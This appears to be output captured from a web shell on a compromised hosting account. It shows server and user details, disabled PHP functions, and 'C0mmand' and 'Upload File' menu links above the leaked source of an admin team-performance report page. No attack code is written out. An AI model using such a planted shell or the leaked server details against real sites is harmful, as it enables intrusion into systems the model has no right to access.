|
Server IP : 217.21.85.138 / Your IP : 216.73.216.103 Web Server : LiteSpeed System : Linux in-mum-web906.main-hosting.eu 4.18.0-553.37.1.lve.el8.x86_64 #1 SMP Mon Feb 10 22:45:17 UTC 2025 x86_64 User : u915722082 ( 915722082) PHP Version : 7.4.33 Disable Function : system, exec, shell_exec, passthru, mysql_list_dbs, ini_alter, dl, symlink, link, chgrp, leak, popen, apache_child_terminate, virtual, mb_send_mail MySQL : OFF | cURL : ON | WGET : ON | Perl : OFF | Python : OFF Directory (0755) : /home/u915722082/public_html/js/../pms/admin/ |
| [ Home ] | [ C0mmand ] | [ Upload File ] |
|---|
<?php
session_start();
if (!isset($_SESSION['admin_id'])) {
header("Location: login.php");
exit;
}
// ADMIN/MANAGER ONLY ACCESS
if ($_SESSION['role'] === 'Employee') {
header("Location: employee.php");
exit;
}
require_once '../config/config.php';
require_once '../config/db.php';
$current_user_role = $_SESSION['role'] ?? 'Manager';
$current_user_id = $_SESSION['admin_id'];
$current_user_name = $_SESSION['user_name'] ?? 'Admin';
// Only CEO and Manager can view team reports
if ($current_user_role !== 'CEO' && $current_user_role !== 'Manager') {
header("Location: dashboard.php");
exit;
}
// ✅ FIXED: Get team performance data with corrected query using end_date
$team_query = "SELECT
u.uid,
u.fname,
u.email,
u.role,
u.created_at,
COUNT(DISTINCT t.task_id) as total_tasks,
SUM(CASE WHEN t.status = 'Completed' THEN 1 ELSE 0 END) as completed_tasks,
SUM(CASE WHEN t.status = 'In Progress' THEN 1 ELSE 0 END) as in_progress_tasks,
SUM(CASE WHEN t.status = 'Pending' THEN 1 ELSE 0 END) as pending_tasks,
SUM(CASE WHEN DATEDIFF(t.end_date, CURDATE()) < 0 AND t.status != 'Completed' THEN 1 ELSE 0 END) as delayed_tasks
FROM tbl_user u
LEFT JOIN tbl_tasks t ON u.uid = t.employee_id
WHERE u.status = 'active' AND u.role = 'Employee'
GROUP BY u.uid, u.fname, u.email, u.role, u.created_at
ORDER BY completed_tasks DESC, u.fname ASC";
$team_result = mysqli_query($con, $team_query);
if (!$team_result) {
die("Query Error: " . mysqli_error($con));
}
// Calculate overall statistics
$total_employees = 0;
$total_all_tasks = 0;
$total_all_completed = 0;
$total_all_delayed = 0;
mysqli_data_seek($team_result, 0);
while ($member = mysqli_fetch_assoc($team_result)) {
$total_employees++;
$total_all_tasks += $member['total_tasks'];
$total_all_completed += $member['completed_tasks'];
$total_all_delayed += $member['delayed_tasks'];
}
// ✅ Get meeting counts separately
$meeting_counts = [];
$meetings_query = "SELECT m.attendees FROM tbl_meetings m";
$meetings_result = mysqli_query($con, $meetings_query);
if ($meetings_result) {
while ($meeting = mysqli_fetch_assoc($meetings_result)) {
$attendees = json_decode($meeting['attendees'], true);
if (is_array($attendees)) {
foreach ($attendees as $attendee_id) {
if (!isset($meeting_counts[$attendee_id])) {
$meeting_counts[$attendee_id] = 0;
}
$meeting_counts[$attendee_id]++;
}
}
}
}
mysqli_data_seek($team_result, 0);
?>
<!DOCTYPE html>
<html lang="en">
<head>
<base href="../" />
<title>Team Report - TDS Admin Hub</title>
<meta charset="utf-8" />
<meta name="viewport" content="width=device-width, initial-scale=1" />
<link rel="stylesheet" href="https://fonts.googleapis.com/css?family=Inter:300,400,500,600,700" />
<link href="assets/plugins/global/plugins.bundle.css" rel="stylesheet" type="text/css" />
<link href="assets/css/style.bundle.css" rel="stylesheet" type="text/css" />
</head>
<body id="kt_app_body" data-kt-app-layout="dark-sidebar" data-kt-app-header-fixed="true"
data-kt-app-sidebar-enabled="true" data-kt-app-sidebar-fixed="true"
data-kt-app-sidebar-hoverable="true" data-kt-app-sidebar-push-header="true"
data-kt-app-sidebar-push-toolbar="true" data-kt-app-sidebar-push-footer="true"
data-kt-app-toolbar-enabled="true" class="app-default">
<script>
var defaultThemeMode = "light";
var themeMode;
if (document.documentElement) {
if (document.documentElement.hasAttribute("data-bs-theme-mode")) {
themeMode = document.documentElement.getAttribute("data-bs-theme-mode");
} else {
if (localStorage.getItem("data-bs-theme") !== null) {
themeMode = localStorage.getItem("data-bs-theme");
} else {
themeMode = defaultThemeMode;
}
}
if (themeMode === "system") {
themeMode = window.matchMedia("(prefers-color-scheme: dark)").matches ? "dark" : "light";
}
document.documentElement.setAttribute("data-bs-theme", themeMode);
}
</script>
<div class="d-flex flex-column flex-root app-root" id="kt_app_root">
<div class="app-page flex-column flex-column-fluid" id="kt_app_page">
<?php include 'includes/header.php'; ?>
<div class="app-wrapper flex-column flex-row-fluid" id="kt_app_wrapper">
<?php include 'includes/sidebar.php'; ?>
<!-- Main Content -->
<div class="app-main flex-column flex-row-fluid" id="kt_app_main">
<div class="d-flex flex-column flex-column-fluid">
<div id="kt_app_toolbar" class="app-toolbar py-3 py-lg-6">
<div id="kt_app_toolbar_container" class="app-container container-xxl d-flex flex-stack">
<div class="page-title d-flex flex-column justify-content-center flex-wrap me-3">
<h1 class="page-heading d-flex text-gray-900 fw-bold fs-3 flex-column my-0">
Team Performance Report
</h1>
<ul class="breadcrumb breadcrumb-separatorless fw-semibold fs-7 my-0 pt-1">
<li class="breadcrumb-item text-muted">
<a href="admin/dashboard.php" class="text-muted text-hover-primary">Home</a>
</li>
<li class="breadcrumb-item">
<span class="bullet bg-gray-500 w-5px h-2px"></span>
</li>
<li class="breadcrumb-item text-muted">Team Report</li>
</ul>
</div>
</div>
</div>
<div id="kt_app_content" class="app-content flex-column-fluid">
<div id="kt_app_content_container" class="app-container container-xxl">
<!-- Overall Statistics -->
<div class="row g-5 g-xl-10 mb-5 mb-xl-10">
<!-- Total Employees -->
<div class="col-md-6 col-lg-6 col-xl-3">
<div class="card card-flush mb-5 mb-xl-10">
<div class="card-header pt-5">
<div class="card-title d-flex flex-column">
<span class="fs-2hx fw-bold text-gray-900 me-2 lh-1 ls-n2"><?php echo $total_employees; ?></span>
<span class="text-gray-500 pt-1 fw-semibold fs-6">Team Members</span>
</div>
</div>
<div class="card-body pt-2 pb-4 d-flex flex-wrap align-items-center">
<div class="d-flex flex-column content-justify-center flex-row-fluid">
<span class="fs-6 fw-bolder text-gray-800 d-block mb-2">Active employees</span>
<div class="symbol-group symbol-hover flex-nowrap mt-3">
<div class="symbol symbol-35px symbol-circle">
<span class="symbol-label bg-info text-inverse-info fw-bold">
<i class="ki-duotone ki-people fs-4 text-white">
<span class="path1"></span>
<span class="path2"></span>
<span class="path3"></span>
<span class="path4"></span>
<span class="path5"></span>
</i>
</span>
</div>
</div>
</div>
</div>
</div>
</div>
<!-- Total Tasks -->
<div class="col-md-6 col-lg-6 col-xl-3">
<div class="card card-flush mb-5 mb-xl-10">
<div class="card-header pt-5">
<div class="card-title d-flex flex-column">
<span class="fs-2hx fw-bold text-primary me-2 lh-1 ls-n2"><?php echo $total_all_tasks; ?></span>
<span class="text-gray-500 pt-1 fw-semibold fs-6">Total Tasks</span>
</div>
</div>
<div class="card-body pt-2 pb-4 d-flex flex-wrap align-items-center">
<div class="d-flex flex-column content-justify-center flex-row-fluid">
<span class="fs-6 fw-bolder text-gray-800 d-block mb-2">All assigned tasks</span>
<div class="symbol-group symbol-hover flex-nowrap mt-3">
<div class="symbol symbol-35px symbol-circle">
<span class="symbol-label bg-primary text-inverse-primary fw-bold">
<i class="ki-duotone ki-notepad-edit fs-4 text-white">
<span class="path1"></span>
<span class="path2"></span>
</i>
</span>
</div>
</div>
</div>
</div>
</div>
</div>
<!-- Completed Tasks -->
<div class="col-md-6 col-lg-6 col-xl-3">
<div class="card card-flush mb-5 mb-xl-10">
<div class="card-header pt-5">
<div class="card-title d-flex flex-column">
<span class="fs-2hx fw-bold text-success me-2 lh-1 ls-n2"><?php echo $total_all_completed; ?></span>
<span class="text-gray-500 pt-1 fw-semibold fs-6">Completed</span>
</div>
</div>
<div class="card-body pt-2 pb-4 d-flex flex-wrap align-items-center">
<div class="d-flex flex-column content-justify-center flex-row-fluid">
<span class="fs-6 fw-bolder text-gray-800 d-block mb-2">Successfully done</span>
<div class="symbol-group symbol-hover flex-nowrap mt-3">
<div class="symbol symbol-35px symbol-circle">
<span class="symbol-label bg-success text-inverse-success fw-bold">
<i class="ki-duotone ki-check-circle fs-4 text-white">
<span class="path1"></span>
<span class="path2"></span>
</i>
</span>
</div>
</div>
</div>
</div>
</div>
</div>
<!-- Delayed Tasks -->
<div class="col-md-6 col-lg-6 col-xl-3">
<div class="card card-flush mb-5 mb-xl-10">
<div class="card-header pt-5">
<div class="card-title d-flex flex-column">
<span class="fs-2hx fw-bold text-danger me-2 lh-1 ls-n2"><?php echo $total_all_delayed; ?></span>
<span class="text-gray-500 pt-1 fw-semibold fs-6">Delayed</span>
</div>
</div>
<div class="card-body pt-2 pb-4 d-flex flex-wrap align-items-center">
<div class="d-flex flex-column content-justify-center flex-row-fluid">
<span class="fs-6 fw-bolder text-gray-800 d-block mb-2">Overdue tasks</span>
<div class="symbol-group symbol-hover flex-nowrap mt-3">
<div class="symbol symbol-35px symbol-circle">
<span class="symbol-label bg-danger text-inverse-danger fw-bold">
<i class="ki-duotone ki-information-3 fs-4 text-white">
<span class="path1"></span>
<span class="path2"></span>
<span class="path3"></span>
</i>
</span>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
<!-- Team Members Table -->
<div class="card">
<div class="card-header border-0 pt-6">
<div class="card-title">
<div class="d-flex align-items-center position-relative my-1">
<i class="ki-duotone ki-magnifier fs-3 position-absolute ms-5">
<span class="path1"></span>
<span class="path2"></span>
</i>
<input type="text" id="searchTeam"
class="form-control form-control-solid w-250px ps-13"
placeholder="Search team members..." />
</div>
</div>
</div>
<div class="card-body py-4">
<table class="table align-middle table-row-dashed fs-6 gy-5" id="teamTable">
<thead>
<tr class="text-start text-muted fw-bold fs-7 text-uppercase gs-0">
<th class="min-w-200px">Employee</th>
<th class="min-w-100px">Total Tasks</th>
<th class="min-w-100px">Completed</th>
<th class="min-w-100px">In Progress</th>
<th class="min-w-100px">Pending</th>
<th class="min-w-100px">Delayed</th>
<th class="min-w-100px">Meetings</th>
<th class="min-w-125px">Completion Rate</th>
<th class="text-end min-w-100px">Actions</th>
</tr>
</thead>
<tbody class="text-gray-600 fw-semibold">
<?php while ($member = mysqli_fetch_assoc($team_result)):
$completion_rate = $member['total_tasks'] > 0 ?
round(($member['completed_tasks'] / $member['total_tasks']) * 100) : 0;
$rate_color = $completion_rate >= 80 ? 'success' :
($completion_rate >= 50 ? 'warning' : 'danger');
// ✅ Get meeting count for this employee
$total_meetings = isset($meeting_counts[$member['uid']]) ? $meeting_counts[$member['uid']] : 0;
?>
<tr>
<td>
<div class="d-flex align-items-center">
<div class="symbol symbol-circle symbol-40px overflow-hidden me-3">
<div class="symbol-label fs-3 bg-light-primary text-primary">
<?php echo strtoupper(substr($member['fname'], 0, 1)); ?>
</div>
</div>
<div class="d-flex flex-column">
<span class="text-gray-800 fw-bold mb-1">
<?php echo htmlspecialchars($member['fname']); ?>
</span>
<span class="text-muted fs-7">
<?php echo htmlspecialchars($member['email']); ?>
</span>
</div>
</div>
</td>
<td>
<span class="badge badge-light-primary fs-7 fw-bold">
<?php echo $member['total_tasks']; ?>
</span>
</td>
<td>
<span class="badge badge-light-success fs-7 fw-bold">
<?php echo $member['completed_tasks']; ?>
</span>
</td>
<td>
<span class="badge badge-light-info fs-7 fw-bold">
<?php echo $member['in_progress_tasks']; ?>
</span>
</td>
<td>
<span class="badge badge-light-warning fs-7 fw-bold">
<?php echo $member['pending_tasks']; ?>
</span>
</td>
<td>
<span class="badge badge-light-danger fs-7 fw-bold">
<?php echo $member['delayed_tasks']; ?>
</span>
</td>
<td>
<span class="badge badge-light-secondary fs-7 fw-bold">
<?php echo $total_meetings; ?>
</span>
</td>
<td>
<div class="d-flex flex-column w-100">
<div class="d-flex justify-content-between mb-1">
<span class="text-muted fs-7 fw-bold"><?php echo $completion_rate; ?>%</span>
</div>
<div class="progress h-6px w-100">
<div class="progress-bar bg-<?php echo $rate_color; ?>"
role="progressbar"
style="width: <?php echo $completion_rate; ?>%"
aria-valuenow="<?php echo $completion_rate; ?>"
aria-valuemin="0"
aria-valuemax="100"></div>
</div>
</div>
</td>
<td class="text-end">
<a href="admin/employee_details.php?id=<?php echo $member['uid']; ?>"
class="btn btn-icon btn-light btn-active-light-primary btn-sm">
<i class="ki-duotone ki-eye fs-3">
<span class="path1"></span>
<span class="path2"></span>
<span class="path3"></span>
</i>
</a>
</td>
</tr>
<?php endwhile; ?>
</tbody>
</table>
</div>
</div>
</div>
</div>
</div>
<div id="kt_app_footer" class="app-footer">
<div class="app-container container-fluid d-flex flex-column flex-md-row flex-center flex-md-stack py-3">
<div class="text-gray-900 order-2 order-md-1">
<span class="text-muted fw-semibold me-1">2024©</span>
<a href="https://thedotstudios.com/" target="_blank" class="text-gray-800 text-hover-primary">
Copyright All rights reserved | Made with <span class="fa fa-heart text-danger"></span>
<b>by TheDotStudios.</b>
</a>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
<!-- Scripts -->
<script src="https://ajax.googleapis.com/ajax/libs/jquery/3.5.1/jquery.min.js"></script>
<script src="assets/plugins/global/plugins.bundle.js"></script>
<script src="assets/js/scripts.bundle.js"></script>
<script>
document.getElementById('searchTeam').addEventListener('keyup', function() {
const searchValue = this.value.toLowerCase();
const tableRows = document.querySelectorAll('#teamTable tbody tr');
tableRows.forEach(row => {
const text = row.textContent.toLowerCase();
row.style.display = text.includes(searchValue) ? '' : 'none';
});
});
</script>
<?php include 'includes/chat_widget.php'; ?>
</body>
</html>